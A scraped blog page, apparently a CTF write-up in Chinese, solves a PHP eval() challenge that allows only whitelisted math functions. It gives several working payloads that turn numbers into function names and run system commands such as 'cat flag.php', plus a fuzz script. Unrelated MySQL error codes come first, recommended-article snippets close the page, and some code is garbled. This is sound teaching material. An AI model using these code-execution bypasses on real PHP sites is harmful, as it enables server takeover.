“MySQL error code 139: Too big row”

“MySQL error code 140: Wrong create options”

“MySQL error code 141: Duplicate unique key or constraint on write or update”

“MySQL error code 142: Unknown character set used”

“MySQL error code 143: Conflicting table definitions in sub-tables of MERGE table”

“MySQL error code 144: Table is crashed and last repair failed”

“MySQL error code 145: Table was marked as crashed and should be repaired”

“MySQL error code 146: Lock timed out; Retry transaction”

“MySQL error code 147: Lock table is full; Restart program with a larger locktable”

“MySQL error code 148: Updates are not allowed under a read only transactions”

“MySQL error code 149: Lock deadlock; Retry transaction”

“MySQL error code 150: Foreign key constraint is incorrectly formed”

“MySQL error code 151: Cannot add a child row”

“MySQL error code 152: Cannot delete a parent row”

那么这个

#可能存在成功的机会,不断刷新 /bin/base64

web124~数学函数<?php

error_reporting(0);

//听说你很喜欢数学,不知道你是否爱它胜过爱flag

if(!isset($_GET['c'])){

show_source(__FILE__);

}else{

//例子 c=20-1

$content = $_GET['c'];

if (strlen($content) >= 80) {

die("太长了不会算");

}

$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];

foreach ($blacklist as $blackitem) {

if (preg_match('/' . $blackitem . '/m', $content)) {

die("请不要输入奇奇怪怪的字符");

}

}

//常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp

$whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];

preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);

foreach ($used_funcs[0] as $func) {

if (!in_array($func, $whitelist)) {

die("请不要输入奇奇怪怪的函数");

}

}

//帮你算出答案

eval('echo '.$content.';');

}

这道题也是见过好多次了,但是没有深究。

首先接收一个c, 长度还不能大于 80 。还不能有黑名单中的 空格、\t、\r、\n、引号、方括号。然后设置白名单,必须符合。也就是必须输入白名单中的函数。

做题思路:

首先 php 允许把函数名通过字符串方式传递给一个变量,然后通过变量动态调用函数。如$a="abc";$A()就会执行 abc() 函数。

php 中函数名默认为字符串,可以进行异或。

方法1

想办法构造$_GET[1]再传参getflag,但是其实发现构造这个很难。。。因为$、_、[、]都不能用,同时GET必须是大写,很难直接构造。base_convert函数在任意进制之间转换数字。

可以使用这个函数讲其他进制数转为36进制,而是36进制是包含所有数字和小写字母的。但终究无法构造GET大写字母。但又可以构造其他的小写字母函数,让构造的函数转换。

hexdec()函数把十六进制转换为十进制。

dechex()函数把十进制数转换为十六进制数。

bin2hex()函数讲 ASCII 字符转换为十六进制值,字符串可通过 pack() 或者 hex2bin() 函数转换回去。

hex2bin()函数把十六进制值得字符转换为 ASCII 字符。

那么我们就可以想象一下,把_GET先利用bin1hex()转换为 十六进制,在利用hexdec()转换为十进制,那么反过来就可以把 一段数字转换为字符。

但是binhex() hexdec()等不是白名单的函数,要从哪里来?

这时候就要看base_convert()得作用了,因为上面的函数都是小写的,所以可以利用此函数将一个十进制数的数字转为十六进制的小写字符。

那么怎么才能直到这个数呢?我们可以先逆向将十六进制字符转换为十进制数,得到该数字,最终逆向构造即可。echobase_convert('hex2bin',36,10);

# 得到 37907361743

echobase_convert(37907361743,10,36);

# 反过来就可以得到 hex2bin

在将_GET反向构造出来:echobin2hex('_GET');

# 得到 5f474554 将字符转换为十六进制

echohexdec('5f474554');

# 得到 1598506324 将十六进制转为十进制。

echodechex(1598506324);

echohex2bin('5f474554');

# 逆向最终得到 _GET

白名单中有dechex()、hexdec()函数,但是没有hex2bin()、bin2hex()函数,但是我们可以使用base_convert()函数构造任意小写函数。

串起来构造echobase_convert(37907361743,10,36)dechex(1598506324)

可以用{}代替[]构造$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi{abs})($$pi{acos})&abs=system&acos=ls

# 得到 _GETflag.php index.php

$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi{abs})($$pi{acos})&abs=system&acos=catflag.php

# 得到 flag

方法2

可以构造getallheaders()传参,此是小写的,可以直接用base_convert转换。

狗早:$pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})

分析:base_convert(696468,10,36) =>"exec"

$pi(8768397090111664438,10,30) =>"getallheaders"

exec(getallheaders(){1})

//操作xx和yy,中间用逗号隔开,echo都能输出

echoxx,yygetallheaders— Fetch all HTTP request headers

c9fe27f0762ff6df18b6343a48565f56.png

经测试,这里列目录的时候只能显示一个文件名,故可以base64编码后输出。1: ls|base64

方法3

直接cat f*//exec('hex2bin(dechex(109270211257898))') => exec('cat f*')

($pi=base_convert)(22950,23,34)($pi(76478043844,9,34)(dechex(109270211257898)))

//system('cat'.dechex(16)^asinh^pi) => system('cat *')

base_convert(1751504350,10,36)(base_convert(15941,10,36).(dechex(16)^asinh^pi))

方法4

前面都是利用白名单的数学函数将数字转成字符串,其实也可以异或构造这是fuzz脚本<?php

$payload=['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh',  'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];

for($k=1;$k<=sizeof($payload);$k++){

for($i=0;$i<9; $i++){

for($j=0;$j<=9;$j++){

$exp=$payload[$k] ^$i.$j;

echo($payload[$k]."^$i$j"."==>$exp");

echo"
";

}

}

}$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat%20/flag

版权声明:本文为博主原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。
本文链接:https://blog.csdn.net/weixin_34652580/article/details/115593329

智能推荐

【新手科研指南5】深度学习代码怎么读-小白阶段性思路(以手写数字识别应用为例)_深度学习程序怎么读-程序员宅基地

文章浏览阅读6.2k次,点赞6次,收藏26次。我是一个深度学习代码小白,请你用中文写上注释,能让我能轻松理解下面这段代码。注意包含所有函数、调用和参数的注释。以同样的python代码块样式返回你写的代码给我。代码看累了,就看《动手学深度学习》文档:基于PyTorch框架,从底层函数实现基础功能,再到框架的高级功能。努力上路的小白一枚,麻烦路过的大佬指导一二,同时希望能和大家交流学习~争取更新学习这个文档的专栏,记录学习过程。量身定做了一套话术hhh,亲身测试还不错。这个感觉更浅一点儿,之后复习看吧。20天吃掉那只Pytorch。_深度学习程序怎么读

Java学习路线图,看这一篇就够了!-程序员宅基地

文章浏览阅读2.7w次,点赞126次,收藏1.2k次。耗废1024根秀发,Java学习路线图来了,整合了自己所学的所有技术整理出来的2022最新版Java学习路线图,适合于初、中级别的Java程序员。_java学习路线

PCL_Tutorial2-1.7-点云保存PNG_pcl::io:savepng-程序员宅基地

文章浏览阅读4.4k次。1.7-savingPNG介绍代码详情函数详解savePNGFile()源码savePNGFile()源码提示savePNGFile()推荐用法处理结果代码链接介绍PCL提供了将点云的值保存到PNG图像文件的可能性。这只能用有有序的云来完成,因为结果图像的行和列将与云中的行和列完全对应。例如,如果您从类似Kinect或Xtion的传感器中获取了点云,则可以使用它来检索与该云匹配的640x480 RGB图像。代码详情#include <pcl / io / pcd_io.h>#incl_pcl::io:savepng

知乎问答:程序员在咖啡店编程,喝什么咖啡容易吸引妹纸?-程序员宅基地

文章浏览阅读936次。吸引妹子的关键点不在于喝什么咖啡,主要在于竖立哪种男性人设。能把人设在几分钟内快速固定下来,也就不愁吸引对口的妹子了。我有几个备选方案,仅供参考。1. 运动型男生左手单手俯卧撑,右手在键盘上敲代码。你雄壮的腰腹肌肉群活灵活现,简直就是移动的春药。2.幽默男生花 20 块找一个托(最好是老同学 or 同事)坐你对面。每当你侃侃而谈,他便满面涨红、放声大笑、不能自已。他笑的越弱_咖啡厅写代码

【笔试面试】腾讯WXG 面委会面复盘总结 --一次深刻的教训_腾讯面委会面试是什么-程序员宅基地

文章浏览阅读1.2w次,点赞5次,收藏5次。今天 (应该是昨天了,昨晚太晚了没发出去)下午参加了腾讯WXG的面委会面试。前面在牛客上搜索了面委会相关的面经普遍反映面委会较难,因为都是微信的核心大佬,问的问题也会比较深。昨晚还蛮紧张的,晚上都没睡好。面试使用的是腾讯会议,时间到了面试官准时进入会议。照例是简单的自我介绍,然后是几个常见的基础问题:例如数据库索引,什么时候索引会失效、设计模式等。这部分比较普通,问的也不是很多,不再赘述。现在回想下,大部分还是简历上写的技能点。接下来面试官让打开项目的代码,对着代码讲解思路。我笔记本上没有这部分代码,所_腾讯面委会面试是什么

AI绘画自动生成器:艺术创作的新浪潮-程序员宅基地

文章浏览阅读382次,点赞3次,收藏4次。AI绘画自动生成器是一种利用人工智能技术,特别是深度学习算法,来自动创建视觉艺术作品的软件工具。这些工具通常基于神经网络模型,如生成对抗网络(GANs),通过学习大量的图像数据来生成新的图像。AI绘画自动生成器作为艺术与科技结合的产物,正在开启艺术创作的新篇章。它们不仅为艺术家和设计师提供了新的工具,也为普通用户提供了探索艺术的机会。随着技术的不断进步,我们可以预见,AI绘画自动生成器将在未来的创意产业中发挥越来越重要的作用。

随便推点

Flutter ListView ListView.build ListView.separated_flutter listview.separated和listview.builder-程序员宅基地

文章浏览阅读1.7k次。理解为ListView 的三种形式吧ListView 默认构造但是这种方式创建的列表存在一个问题:对于那些长列表或者需要较昂贵渲染开销的子组件,即使还没有出现在屏幕中但仍然会被ListView所创建,这将是一项较大的开销,使用不当可能引起性能问题甚至卡顿直接返回的是每一行的Widget,相当于ios的row。行高按Widget(cell)高设置ListView.build 就和io..._flutter listview.separated和listview.builder

2021 最新前端面试题及答案-程序员宅基地

文章浏览阅读1.4k次,点赞4次,收藏14次。废话不多说直接上干货1.js运行机制JavaScript单线程,任务需要排队执行同步任务进入主线程排队,异步任务进入事件队列排队等待被推入主线程执行定时器的延迟时间为0并不是立刻执行,只是代表相比于其他定时器更早的被执行以宏任务和微任务进一步理解js执行机制整段代码作为宏任务开始执行,执行过程中宏任务和微任务进入相应的队列中整段代码执行结束,看微任务队列中是否有任务等待执行,如果有则执行所有的微任务,直到微任务队列中的任务执行完毕,如果没有则继续执行新的宏任务执行新的宏任务,凡是在..._前端面试

linux基本概述-程序员宅基地

文章浏览阅读1k次。(3)若没有查到,则将请求发给根域DNS服务器,并依序从根域查找顶级域,由顶级查找二级域,二级域查找三级,直至找到要解析的地址或名字,即向客户机所在网络的DNS服务器发出应答信息,DNS服务器收到应答后现在缓存中存储,然后,将解析结果发给客户机。(3)若没有查到,则将请求发给根域DNS服务器,并依序从根域查找顶级域,由顶级查找二级域,二级域查找三级,直至找到要解析的地址或名字,即向客户机所在网络的DNS服务器发出应答信息,DNS服务器收到应答后现在缓存中存储,然后,将解析结果发给客户机。_linux

JavaScript学习手册十三:HTML DOM——文档元素的操作(一)_javascript学习手册十三:html dom——文档元素的操作(一)-程序员宅基地

文章浏览阅读7.9k次,点赞26次,收藏66次。HTML DOM——文档元素的操作1、通过id获取文档元素任务描述相关知识什么是DOM文档元素节点树通过id获取文档元素代码文件2、通过类名获取文档元素任务描述相关知识通过类名获取文档元素代码文件3、通过标签名获取文档元素任务描述相关知识通过标签名获取文档元素获取标签内部的子元素代码文件4、html5中获取元素的方法一任务描述相关知识css选择器querySelector的用法代码文件5、html5中获取元素的方法二任务描述相关知识querySelectorAll的用法代码文件6、节点树上的操作任务描述相关_javascript学习手册十三:html dom——文档元素的操作(一)

《LeetCode刷题》172. 阶乘后的零(java篇)_java 给定一个整数n,返回n!结果尾数中零的数量-程序员宅基地

文章浏览阅读132次。《LeetCode学习》172. 阶乘后的零(java篇)_java 给定一个整数n,返回n!结果尾数中零的数量

php 公众号消息提醒,如何开启公众号消息提醒功能-程序员宅基地

文章浏览阅读426次。请注意,本文将要给大家分享的并不是开启公众号的安全操作风险提醒,而是当公众号粉丝给公众号发消息的时候,公众号的管理员和运营者如何能在手机上立即收到消息通知,以及在手机上回复粉丝消息。第一步:授权1、在微信中点击右上角+,然后选择“添加朋友”,然后选择“公众号”,然后输入“微小助”并关注该公众号。2、进入微小助公众号,然后点击底部菜单【新增授权】,如下图所示:3、然后会打开一个温馨提示页面。请一定要..._php微信公众号服务提示

推荐文章

热门文章

相关标签